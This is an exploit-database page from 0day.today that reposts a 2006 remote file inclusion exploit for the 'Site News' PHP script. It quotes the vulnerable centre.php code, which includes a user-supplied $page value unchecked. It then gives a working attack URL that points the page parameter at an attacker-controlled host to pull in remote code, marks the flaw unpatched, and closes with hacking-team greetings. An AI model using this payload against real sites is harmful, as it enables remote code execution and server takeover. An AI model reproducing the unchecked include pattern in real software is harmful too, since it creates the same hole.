[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Site News (centre.php) Remote File Inclusion Vulnerability

Author
DaDIsS
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-1197
Category
web applications
Date add
23-11-2006
Platform
unsorted
==========================================================
Site News (centre.php) Remote File Inclusion Vulnerability
==========================================================



#===================================================================================#
#
# Site News => (centre.php) $page Remote File Inclusion Exploit
#
#===================================================================================#
#
# Softname : Site News
# Exploit type : Remote File Inclusion.
# Critical: Dangerous.
# Solution Status: Unpatched.
#
#===================================================================================#
#
# By DaDIsS - Member of the Moroccan Hackers Team
#
#===================================================================================#
#
# Exploit Explanation : 
#
#
# The flaw resides in centre.php file that contain this code :
# 
# <?
#
#   if (empty($page))
#    {
#         include("accueil.php");
#    }
#      else
#    {
#        include($page.".php");
#    }
#
# ?>
#
#===================================================================================#
#
# Example : 
#
#
# http://www.victime.com/(path)/centre.php?page=http://attacker
#
#
#================================================================#
#
# Greetz : YouYouCool, Hacker1, and all Moroccan Hackers Team, viva Morocco guyz !!
#
#===================================================================================#
#
# Proud to be a Moroccan !
#
#===================================================================================#




#  0day.today [2024-12-25]  #